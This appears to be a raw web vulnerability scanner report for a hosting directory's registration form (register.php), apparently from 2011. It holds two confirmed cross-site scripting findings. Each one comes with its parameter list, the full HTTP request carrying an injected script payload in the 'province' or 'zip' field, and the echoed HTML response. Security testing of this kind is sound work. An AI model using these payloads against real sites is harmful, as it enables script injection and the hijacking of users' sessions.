</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST '"--></style></script><script>alert(0x001EC6)</script>
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EC6)%3c%2fscript%3e&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:33 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F25474AFED60321933C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F22CE3C48C8924FBEE6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F20776FB573D481901C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F27E65D605C326A652C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F2CECA730BA658F7D56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2FA89DC2928CBA9C0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F205DC966F9AC271F3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F2857A5DCCE64F883E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F2FA75E51E60CF1ACDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F28732319DDFD2B4B86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F2DC1752C72CDB8E54C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F2C3AB18F2760A14B1C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F2CED1C1BFE4CFA0EAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F209AA34A6696A3947C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F238D25091421132B5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F2B7E25E2774DA0F8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F2842FA774765936C66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F2AA6319E9999A52E86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F279623661ABEB22BD6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST '"--></style></script><script>alert(0x001EC7)</script>
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EC7)%3c%2fscript%3e&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:40 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F29CD98909FF775B93C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F26DB9B7C52BC831426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F2892A3187B754A986C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2C7F5AB13D73E5613C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F2D30B13802A94723B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F219594363C24EA9E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F2F9B52C77D5327015C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F2BD8B13D8D4F829B56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F2EDF49823060374D9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F2225DB6AADDED94DF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F20D90334B6202C669C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F2F3F15F27A7A16F94C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F2D222A8B6C989D156C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2E71079E9009BD039C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F23AC37963F9652135C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
